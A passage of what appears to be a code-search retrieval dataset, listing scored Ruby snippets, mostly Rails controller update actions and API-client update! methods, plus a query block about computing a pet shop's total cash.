"text": "def update!(**args)\n @consumer_id = args[:consumer_id] if args.key?(:consumer_id)\n @end_time = args[:end_time] if args.key?(:end_time)\n @importance = args[:importance] if args.key?(:importance)\n @labels = args[:labels] if args.key?(:labels)\n @log_entries = args[:log_entries] if args.key?(:log_entries)\n @metric_value_sets = args[:metric_value_sets] if args.key?(:metric_value_sets)\n @operation_id = args[:operation_id] if args.key?(:operation_id)\n @operation_name = args[:operation_name] if args.key?(:operation_name)\n @quota_properties = args[:quota_properties] if args.key?(:quota_properties)\n @resources = args[:resources] if args.key?(:resources)\n @start_time = args[:start_time] if args.key?(:start_time)\n @trace_spans = args[:trace_spans] if args.key?(:trace_spans)\n @user_labels = args[:user_labels] if args.key?(:user_labels)\n end",
"title": ""
},
{
"docid": "82a0b01621f18f1de1e66c1d6c210a5c",
"score": "0.5527273",
"text": "def update\n @throughput_metric.user_id = current_user.id\n \n respond_to do |format|\n if @throughput_metric.update(throughput_metric_params)\n format.html { redirect_to @throughput_metric, notice: 'Throughput metric was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @throughput_metric.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a28c66411f7657b3f416a31647d7650d",
"score": "0.55233675",
"text": "def patch(path, data, params = {}, request_options = {})\n request(:patch, path, data, params)\n end",
"title": ""
},
{
"docid": "10be30dfb14e959f3288a3d040f4c213",
"score": "0.5517401",
"text": "def update\n @clinic_timing = ClinicTiming.find(params[:id])\n\n respond_to do |format|\n if @clinic_timing.update_attributes(params[:clinic_timing])\n format.html { redirect_to @clinic_timing, notice: 'Clinic timing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinic_timing.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1c8484a8480f3ea22af3d572d7532e9e",
"score": "0.5515575",
"text": "def update\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.attributes = params[:physical_rack]\n @physical_rack.audits << Audit.new(source: 'controller', action: 'update', admin_user: current_user)\n respond_to do |format|\n if @physical_rack.save\n format.html { redirect_to @physical_rack, notice: 'Physical rack was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @physical_rack.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9e000ad4e305136cd3b748fa046db836",
"score": "0.55012655",
"text": "def update(context)\n context.request.body.rewind # in case someone already read it\n\n begin\n data = JSON.parse(context.request.body.read)\n rescue JSON::ParserError\n context.halt(406, { status: 'error', message: 'Not acceptable JSON payload' }.to_json)\n end\n\n set_resource(context)\n\n begin\n permitted_params = resource_fields.map { |k| k[:name] }\n permitted_params = data.select { |k, _| permitted_params.include?(k) }\n\n if instance_variable_get(:\"@#{resource_name}\").update_attributes(permitted_params)\n instance_variable_get(:\"@#{resource_name}\").reload\n instance_variable_get(:\"@#{resource_name}\").to_json\n else\n errors = instance_variable_get(:\"@#{resource_name}\").errors.map { |k, v| \"#{k}: #{v}\" }.join('; ')\n context.halt(406, { status: 'error', message: errors }.to_json)\n end\n rescue StandardError => e\n context.halt(500, { status: 'error', message: e.message }.to_json)\n end\n end",
"title": ""
},
{
"docid": "414b1146ee441ad3cd40288f09a1b873",
"score": "0.54990834",
"text": "def update\n if @specification.update(specification_params)\n audit(@specification, current_user)\n render json: @specification, status: :ok, serializer: Web::V1::SpecificationSerializer\n else\n render json: @specification.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d37b39a795a6e081d6480942ece1c538",
"score": "0.54989576",
"text": "def put!\n request! :put\n end",
"title": ""
},
{
"docid": "30adccdf81678fced8fb1efb0f78e981",
"score": "0.54933226",
"text": "def update\n team_name = params[:name]\n team_description = params[:description]\n team_id = params[:id]\n\n respond_to do |format|\n if OkrTeam.where(id: team_id).update_all(name: team_name, description: team_description)\n format.json { render json: 'Team is updated successfully!', status: :ok }\n else\n format.json { render json: 'Error!', status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "546e255647ce01d62054a38731080a6b",
"score": "0.5492867",
"text": "def update!(**args)\n @abuse_type = args[:abuse_type] if args.key?(:abuse_type)\n @backend = args[:backend] if args.key?(:backend)\n @cluster_evaluation_context = args[:cluster_evaluation_context] if args.key?(:cluster_evaluation_context)\n @comment = args[:comment] if args.key?(:comment)\n @feature = args[:feature] if args.key?(:feature)\n @manual_review_info = args[:manual_review_info] if args.key?(:manual_review_info)\n @misc_data = args[:misc_data] if args.key?(:misc_data)\n @process_time_millisecs = args[:process_time_millisecs] if args.key?(:process_time_millisecs)\n @processed_micros = args[:processed_micros] if args.key?(:processed_micros)\n @region = args[:region] if args.key?(:region)\n @score = args[:score] if args.key?(:score)\n @status = args[:status] if args.key?(:status)\n @target = args[:target] if args.key?(:target)\n @timestamp_micros = args[:timestamp_micros] if args.key?(:timestamp_micros)\n @user_restriction = args[:user_restriction] if args.key?(:user_restriction)\n @version = args[:version] if args.key?(:version)\n @video_review_data = args[:video_review_data] if args.key?(:video_review_data)\n end",
"title": ""
},
{
"docid": "64f42e3efdc5095f8930fd0873d4a26c",
"score": "0.54899657",
"text": "def update\n @serving = Serving.find(params[:id])\n\n respond_to do |format|\n if @serving.update_attributes(params[:serving])\n format.html { redirect_to @serving, notice: 'Serving was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serving.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "129813f878bdb65e40141aa72a205f4e",
"score": "0.54873854",
"text": "def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"title": ""
},
{
"docid": "b1c93a173a0334803f8b2bdb1657ef25",
"score": "0.54856557",
"text": "def update\n @employee = Employee.find_by_id(params[:id])\n @employee.update_attributes({:id => params[:id],\n :name => params[:name],\n :title => params[:title],\n :status => params[:status],\n :employment_type => params[:employment_type],\n :attendance_type_id => params[:attendance_type_id],\n :hourly_rate => params[:hourly_rate],\n :location => params[:location],\n :capitalizable_group_id => params[:capitalizable_group_id],\n :leave_days => params[:leave_days],\n :commencement_date => params[:commencement_date],\n :termination_date => params[:termination_date]})\n if request.xhr?\n render :json => @employee\n end\n end",
"title": ""
},
{
"docid": "34b1a360ce049903006dc3a74069d1a4",
"score": "0.5480298",
"text": "def update!(**args)\n @automatic_resources = args[:automatic_resources] if args.key?(:automatic_resources)\n @create_time = args[:create_time] if args.key?(:create_time)\n @dedicated_resources = args[:dedicated_resources] if args.key?(:dedicated_resources)\n @disable_explanations = args[:disable_explanations] if args.key?(:disable_explanations)\n @display_name = args[:display_name] if args.key?(:display_name)\n @enable_access_logging = args[:enable_access_logging] if args.key?(:enable_access_logging)\n @enable_container_logging = args[:enable_container_logging] if args.key?(:enable_container_logging)\n @explanation_spec = args[:explanation_spec] if args.key?(:explanation_spec)\n @id = args[:id] if args.key?(:id)\n @model = args[:model] if args.key?(:model)\n @model_version_id = args[:model_version_id] if args.key?(:model_version_id)\n @private_endpoints = args[:private_endpoints] if args.key?(:private_endpoints)\n @service_account = args[:service_account] if args.key?(:service_account)\n @shared_resources = args[:shared_resources] if args.key?(:shared_resources)\n end",
"title": ""
},
{
"docid": "060fa61671f82610a76ad0ac8cf874e3",
"score": "0.54802185",
"text": "def patch(path, body_params = {})\n debug_log \"PATCH #{@host}#{path} body:#{body_params}\"\n headers = { 'Content-Type' => 'application/json' }\n res = connection.run_request :put, path, body_params.to_json, headers\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"title": ""
},
{
"docid": "0e809285e111699e750d66da588780de",
"score": "0.54800326",
"text": "def update\n @tengine_batch = Tengine::Batch.find(params[:id])\n\n respond_to do |format|\n if @tengine_batch.update_attributes(params[:tengine_batch])\n format.html { redirect_to @tengine_batch, notice: 'Batch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tengine_batch.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8248b1a7e01b887ee0d91029663c09b8",
"score": "0.54790324",
"text": "def update(id, attributes)\n # attributes = {name: 'chocolate and peanuts', calories: 10}\nend",
"title": ""
},
{
"docid": "72d856440bf0c40d2cb55d3a750b4724",
"score": "0.54721564",
"text": "def update \n if @tuning.update(tuning_params)\n render json: @tuning\n else\n render json: { error: \"Failed to update tuning\"}, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "dd4182c903c9a2d2a1504009d35ab478",
"score": "0.5463245",
"text": "def update\n respond_to do |format|\n if @cpu.update(cpu_params)\n format.html { redirect_to cpus_url }\n else\n format.html { render :edit }\n end\n end\n end",
"title": ""
},
{
"docid": "d7dbd5782c7c0c152b09f1c85f54affe",
"score": "0.54516184",
"text": "def update\n @one_time_stop = OneTimeStop.find(params[:id])\n\n respond_to do |format|\n if @one_time_stop.update_attributes(params[:one_time_stop])\n format.html { redirect_to @one_time_stop, notice: 'One time stop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @one_time_stop.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "85c336e336b9691af5aa91eddab4f804",
"score": "0.54508346",
"text": "def patch(url, data, headers = {})\n request(:patch, url, headers, :data => data)\n end",
"title": ""
},
{
"docid": "2ed994882d1d1b5a84d197da2608a447",
"score": "0.54503304",
"text": "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"title": ""
},
{
"docid": "308e4b233865005443635599fd94e6df",
"score": "0.5448292",
"text": "def update(path)\n output { patch(path, params) }\n end",
"title": ""
},
{
"docid": "fd670cc4a9888ff3de9a8a9f2dd3b9a8",
"score": "0.54478085",
"text": "def update\n @model = Model.find(params[:id])\n # @model.name = \"test\"\n @model.scale = 1\n respond_to do |format|\n if @model.update_attributes(params[:model])\n format.html { redirect_to @model, notice: 'Model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "74115d099ea2db4c996e3084e6592205",
"score": "0.5445857",
"text": "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end",
"title": ""
},
{
"docid": "74115d099ea2db4c996e3084e6592205",
"score": "0.5445857",
"text": "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end",
"title": ""
},
{
"docid": "74115d099ea2db4c996e3084e6592205",
"score": "0.5445857",
"text": "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end",
"title": ""
},
{
"docid": "74115d099ea2db4c996e3084e6592205",
"score": "0.5445857",
"text": "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end",
"title": ""
},
{
"docid": "74115d099ea2db4c996e3084e6592205",
"score": "0.5445857",
"text": "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end",
"title": ""
},
{
"docid": "74115d099ea2db4c996e3084e6592205",
"score": "0.5445857",
"text": "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end",
"title": ""
},
{
"docid": "5843f6a1fbd54429e20c6b47912b6073",
"score": "0.5444941",
"text": "def update\n @backend_tutorial_stat = Backend::TutorialStat.find(params[:id])\n\n respond_to do |format|\n if @backend_tutorial_stat.update_attributes(params[:backend_tutorial_stat])\n format.html { redirect_to @backend_tutorial_stat, notice: 'Tutorial stat was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @backend_tutorial_stat.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5b03bae749903fdff3cadad011c6ae96",
"score": "0.5444231",
"text": "def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.json { head :no_content }\n else\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "931f17c5c899a79322a439bd3a6eca7b",
"score": "0.54420847",
"text": "def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e07a7e3793c482a1a2ffb7111a91bd7b",
"score": "0.54387814",
"text": "def update\n if @scenario.update(scenario_params)\n \trender json: @scenario\n else\n \trender json: {status: 'ERROR', data: @scenario.errors}\n end\n end",
"title": ""
},
{
"docid": "aa85958dc6e944aa54ad7ec7b1112f85",
"score": "0.5438355",
"text": "def update\n @competency.update(competency_params)\n respond_to do |format|\n if @competency.save\n format.json { render :show, status: :ok, location: @competency }\n else\n format.json { render json: @competency.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ed306c936ad2043230edd933c2a72f6f",
"score": "0.5437398",
"text": "def update\n feature.update_attributes(feature_params)\n\n respond_with(feature)\n end",
"title": ""
},
{
"docid": "5dd4282110eca673ed43fbaf6ed14b72",
"score": "0.54340816",
"text": "def update\n @standard_measurement = StandardMeasurement.find(params[:id])\n\n respond_to do |format|\n if @standard_measurement.update_attributes(params[:standard_measurement])\n format.html { redirect_to @standard_measurement, notice: 'Standard measurement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @standard_measurement.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
e279d8f7a944655f80f7bbb80652fbea
|
function purpose: "How much cash does the shop have?" access the data(hash) and return the value attached to :total_cash
|
[
{
"docid": "d49006f9d8fef82185e09ce3f9fcfa1d",
"score": "0.7660757",
"text": "def total_cash(shop_cash)\n return shop_cash[:admin][:total_cash]\nend",
"title": ""
}
] |
[
{
"docid": "8ee8b4d7663a7a54754a1ca5771cf9c9",
"score": "0.7882121",
"text": "def total_cash(pet_shop_hash)\n return pet_shop_hash[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "19e2b7070e72d9f88348a489a60b9c8f",
"score": "0.7576526",
"text": "def total_cash(cash)\n return cash[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "b57eeac17ea024d648d18fe665f0c526",
"score": "0.7554573",
"text": "def total_cash(shop)\n return shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "b57eeac17ea024d648d18fe665f0c526",
"score": "0.7554573",
"text": "def total_cash(shop)\n return shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "b6738e4bda6824f378311699d20e911e",
"score": "0.75042164",
"text": "def total_cash(shop)\n return shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "e82424421f31943d9e54641b9b12c5cd",
"score": "0.7480697",
"text": "def total_cash(shops)\n return shops[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "dc1ced7af3478a6c6cf99c36a7bb6977",
"score": "0.74142116",
"text": "def total_cash(sum)\n return sum[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "1dc42662ee434eeab3e983226fa7b8b1",
"score": "0.7411532",
"text": "def total_cash(sum)\n return (sum)[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "322714f99cfb545b298412cdbdfd9c14",
"score": "0.73616475",
"text": "def total_cash(pet_shop_cash)\n return pet_shop_cash[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "6d8adb2d0c927ac2c0ffb5cd362aff9c",
"score": "0.7337253",
"text": "def total_cash(pet_shop_total_cash)\n pet_shop_total_cash = @pet_shop[:admin][:total_cash]\n return pet_shop_total_cash\nend",
"title": ""
},
{
"docid": "10968e97b0e1ce204f2e647a4aec4aec",
"score": "0.7235515",
"text": "def total_cash(pet_shop)\n return pet_shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "10968e97b0e1ce204f2e647a4aec4aec",
"score": "0.7235515",
"text": "def total_cash(pet_shop)\n return pet_shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "10968e97b0e1ce204f2e647a4aec4aec",
"score": "0.7235515",
"text": "def total_cash(pet_shop)\n return pet_shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "10968e97b0e1ce204f2e647a4aec4aec",
"score": "0.7235515",
"text": "def total_cash(pet_shop)\n return pet_shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "10968e97b0e1ce204f2e647a4aec4aec",
"score": "0.7235515",
"text": "def total_cash(pet_shop)\n return pet_shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "10968e97b0e1ce204f2e647a4aec4aec",
"score": "0.7235515",
"text": "def total_cash(pet_shop)\n return pet_shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "10968e97b0e1ce204f2e647a4aec4aec",
"score": "0.7235515",
"text": "def total_cash(pet_shop)\n return pet_shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "10968e97b0e1ce204f2e647a4aec4aec",
"score": "0.7235515",
"text": "def total_cash(pet_shop)\n return pet_shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "10968e97b0e1ce204f2e647a4aec4aec",
"score": "0.7235515",
"text": "def total_cash(pet_shop)\n return pet_shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "10968e97b0e1ce204f2e647a4aec4aec",
"score": "0.7235515",
"text": "def total_cash(pet_shop)\n return pet_shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "10968e97b0e1ce204f2e647a4aec4aec",
"score": "0.7235515",
"text": "def total_cash(pet_shop)\n return pet_shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "3a9422710e3e315b1c306f5de7716264",
"score": "0.69871056",
"text": "def customer_cash(customer)\n return customer[:cash]\n end",
"title": ""
},
{
"docid": "65b3c01728830de3a441a6370946e93e",
"score": "0.69277",
"text": "def total_cash(arg_person)\n return arg_person[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "517594bb535f88c7ff19341a01847e0c",
"score": "0.68740964",
"text": "def total_cash(pet_shop)\n pet_shop[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "d23c7666e3c3f79ca21c2c50cf94a6c9",
"score": "0.6859018",
"text": "def cash\n end",
"title": ""
},
{
"docid": "7f3e28137f75ad043be2b9c06ee35d7d",
"score": "0.68004197",
"text": "def total_cash(till)\n till[:admin][:total_cash]\nend",
"title": ""
},
{
"docid": "2e415eb68bdc9a3ef0e603c8f09aff03",
"score": "0.6783129",
"text": "def customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "2e415eb68bdc9a3ef0e603c8f09aff03",
"score": "0.6783129",
"text": "def customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "2e415eb68bdc9a3ef0e603c8f09aff03",
"score": "0.6783129",
"text": "def customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "2e415eb68bdc9a3ef0e603c8f09aff03",
"score": "0.6783129",
"text": "def customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "2e415eb68bdc9a3ef0e603c8f09aff03",
"score": "0.6783129",
"text": "def customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "2e415eb68bdc9a3ef0e603c8f09aff03",
"score": "0.6783129",
"text": "def customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "2e415eb68bdc9a3ef0e603c8f09aff03",
"score": "0.6783129",
"text": "def customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "2e415eb68bdc9a3ef0e603c8f09aff03",
"score": "0.6783129",
"text": "def customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "2e415eb68bdc9a3ef0e603c8f09aff03",
"score": "0.6783129",
"text": "def customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "2e415eb68bdc9a3ef0e603c8f09aff03",
"score": "0.6783129",
"text": "def customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "98cc1d43390c63ebad5b62be6530a410",
"score": "0.6766824",
"text": "def customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "98cc1d43390c63ebad5b62be6530a410",
"score": "0.6766824",
"text": "def customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "628fe928bc9595d09d46591eec2a0221",
"score": "0.6765484",
"text": "def check_customer_cash(customer)\n return customer[:cash]\nend",
"title": ""
},
{
"docid": "2e041438190e6b81f4178660e97d16e0",
"score": "0.672611",
"text": "def calculate_total(my_hash)\n tax_amount = my_hash[:tax] * my_hash[:price]\n tip_amount = my_hash[:tip] * my_hash[:price]\n my_hash[:price] + tax_amount + tip_amount\nend",
"title": ""
},
{
"docid": "496aaa3c19b8bc91ff4b1bdcc5303ae4",
"score": "0.6642577",
"text": "def hash\n return @total_cents\n end",
"title": ""
},
{
"docid": "5ceb24cacefd304027ad2edf0f3dcf67",
"score": "0.66408074",
"text": "def customer_cash(customer)\n if customer[:cash] == 1000\n return customer[:cash]\n end\n return nil\nend",
"title": ""
},
{
"docid": "20ec2010bb6ba6368eb84c2e50c3274a",
"score": "0.66310084",
"text": "def hash\n return self.total_cent\n end",
"title": ""
},
{
"docid": "bb14bc5a7d4d77bdc19189aa2ddfbee5",
"score": "0.66236204",
"text": "def calculate_total_2(hash)\n tax_amt = hash[:price] * hash[:tax]\n tip_amt = hash[:price] * hash[:tip]\n hash[:price] + tip_amt + tax_amt\nend",
"title": ""
},
{
"docid": "cd657b395530c01a057a53f832c0438b",
"score": "0.6622031",
"text": "def total_cash_needed\n\t\t(cash_purchase? ? purchase_price : loans.map(&:down_payment).reduce(:+)) + closing_costs + estimated_repairs + loans.map(&:points_payment).reduce(:+)\n\tend",
"title": ""
},
{
"docid": "e510c4474443d17d40885ac4db0ba09d",
"score": "0.66077435",
"text": "def customer_cash(customer)\n customer[:cash]\nend",
"title": ""
},
{
"docid": "e510c4474443d17d40885ac4db0ba09d",
"score": "0.66077435",
"text": "def customer_cash(customer)\n customer[:cash]\nend",
"title": ""
},
{
"docid": "f6ac1ceefac90b2097dfff8b77787ac1",
"score": "0.6545535",
"text": "def available_cash\n sum = @hands.inject(0) {|sum, hand| sum += hand.bet }\n\n @cash-sum\n end",
"title": ""
},
{
"docid": "243526715831b2c6e55651a13fad76fe",
"score": "0.6541308",
"text": "def customer_cash(customers)\n return customers[:cash]\nend",
"title": ""
},
{
"docid": "c77a31945ed2eaec445855a27d495a79",
"score": "0.65320265",
"text": "def total_cash\t\t\t\t\t\t\t#totals the cash in all accounts in the bank\n @grand_total = 0\n \[email protected] do |item,value| \t\t\t#loops through @accounts hash\n \t @grand_total = @grand_total+value\t\t#adds each account balance to grand_total variable\n \tend\t\t\t\t\t\t\t\t\t\t#end of loop\n \t\n \t@credit_account.each do |item,value| \t#loops through credit accounts hash\n \t @grand_total = @grand_total-value\t\t#adds each account balance to grand_total variable\n \tend\t\t\t\t\t\t\t\t\t\t#end of credit accounts loop\n \tprofit = 0\t\t\t\t\t\t\t\t#sets up variable\n \t@money_in.each{|n| profit+=n}\t\t\t#sums all of the numbers in money in array\t\n \t@grand_total = @grand_total + profit\t#sums all money in accounts, subtracts credit out, adds money paid from credit cards\n \t\n \tputs \"#{name} has $#{@grand_total}.\" \t\n \n end",
"title": ""
},
{
"docid": "494fd5e16eac5230936aca909a7186cf",
"score": "0.65194815",
"text": "def total_business_cash_in_bank ( accounts )\ntotal_cash_business = 0\nfor account in accounts\nif account[\"type\"] == \"business\"\ntotal_cash_business += account[\"amount\"] ##\nend\nend\nreturn total_cash_business\nend",
"title": ""
},
{
"docid": "d4379970feeeda603b3bf489f6417bb6",
"score": "0.6510662",
"text": "def customer_cash(client)\n client[:cash]\nend",
"title": ""
},
{
"docid": "ed1f412be6e5dee1fa251318fca3ded7",
"score": "0.65033513",
"text": "def total(products_hash, products)\n total_cost = products_hash[\"light_total\"] + products_hash[\"medium_total\"] + products_hash[\"bold_total\"]\n sale_complete(products_hash, total_cost, products)\nend",
"title": ""
},
{
"docid": "c9ef6b327ed87ff4eb7402cc78feff12",
"score": "0.64845",
"text": "def customer_cash(money)\n total = 0\n for money in @customers\n total += money[:cash]\n return total\n end\nend",
"title": ""
},
{
"docid": "1ec7c533cb40f638e9fa4b32213f8c82",
"score": "0.6481955",
"text": "def spent\n self.cash_flows.sum(:price_cents)\n end",
"title": ""
},
{
"docid": "bac33f75572a4c20bc40bbc94cd09ccb",
"score": "0.64755005",
"text": "def total(hash)\n hash.default = 0.0 unless hash.default\n sum = 0.0\n self.each_byte do |x|\n begin\n sum += hash[x.chr]\n end\n end\n return sum\n end",
"title": ""
},
{
"docid": "934a5843bceef3e18b068619821eb0b0",
"score": "0.64420354",
"text": "def total_cash_in_bank()\ntotal = 0\nfor accounts in ACCOUNTS\n total += accounts[:amount]\nend\nreturn total\nend",
"title": ""
},
{
"docid": "9503d03a93769df0d2d828cbeefaaf16",
"score": "0.6434665",
"text": "def calculate_total_2(info) # this will be the hash\n tax_amount = info[:price] * info[:tax]\n tip_amount = info[:price] * info[:tip]\n info[:price] + tax_amount + tip_amount\nend",
"title": ""
},
{
"docid": "145fed484a426b3115a751b03b578bab",
"score": "0.64226073",
"text": "def add_or_remove_cash(pet_shop_hash, transaction)\n total_ammount = total_cash(pet_shop_hash)\n transaction_completed = total_ammount + transaction\n pet_shop_hash[:admin][:total_cash] = transaction_completed\nend",
"title": ""
},
{
"docid": "33e8fb1976288aaade53f035d766eba5",
"score": "0.64115274",
"text": "def cash\n Money.us_dollar(self.amount)\n end",
"title": ""
},
{
"docid": "c473d1c1875929ef1c97467b051ca1b4",
"score": "0.6398717",
"text": "def compute_cash\n return if transactions.count == 0\n ccash = transactions.sum(\"cash_delta\")\n self.update_attribute(:cash, ccash)\n end",
"title": ""
},
{
"docid": "45c8cf83af3b90a1b6c8a05834b3db3d",
"score": "0.6395935",
"text": "def add_or_remove_cash(pet_shop, amount)\ntotal_cash = pet_shop[:admin][:total_cash] += amount\nreturn total_cash\nend",
"title": ""
},
{
"docid": "45c8cf83af3b90a1b6c8a05834b3db3d",
"score": "0.6395935",
"text": "def add_or_remove_cash(pet_shop, amount)\ntotal_cash = pet_shop[:admin][:total_cash] += amount\nreturn total_cash\nend",
"title": ""
},
{
"docid": "9bbfee185239e6fa0ad6c24ae923cac7",
"score": "0.6339769",
"text": "def total_current_value(record)\n return @settled_cash + @unsettled_cash + (@shares * record.sale_price)\n end",
"title": ""
},
{
"docid": "dd697874ad3bd934dcca19d96b164695",
"score": "0.63346934",
"text": "def print_item_sums hash_1, hash_2\n\n the_sum = 0\n the_sum = hash_1[:price] + hash_2[:price]\n\nend",
"title": ""
},
{
"docid": "064c3c784875906812c91ff363d9b42a",
"score": "0.63343656",
"text": "def amount\n @data[:amount]\n end",
"title": ""
},
{
"docid": "064c3c784875906812c91ff363d9b42a",
"score": "0.63343656",
"text": "def amount\n @data[:amount]\n end",
"title": ""
},
{
"docid": "0819f01e06bf8c431686ffe0e5c2a234",
"score": "0.6325143",
"text": "def calculate_total_bill(order_hash)\n order_hash.each do |k,v|\n puts \"#{k}: $#{v}\"\n end\n return order_hash.values.inject{|sum,cost| sum + cost}\nend",
"title": ""
},
{
"docid": "93222656ffcc8a30e78c01076114ad10",
"score": "0.63155913",
"text": "def add_or_remove_cash(pet_shop, amount)\n total_cash = pet_shop[:admin][:total_cash] += amount\n return total_cash\nend",
"title": ""
},
{
"docid": "06a703bf56e53dc0728d9e90fb582c5f",
"score": "0.6314499",
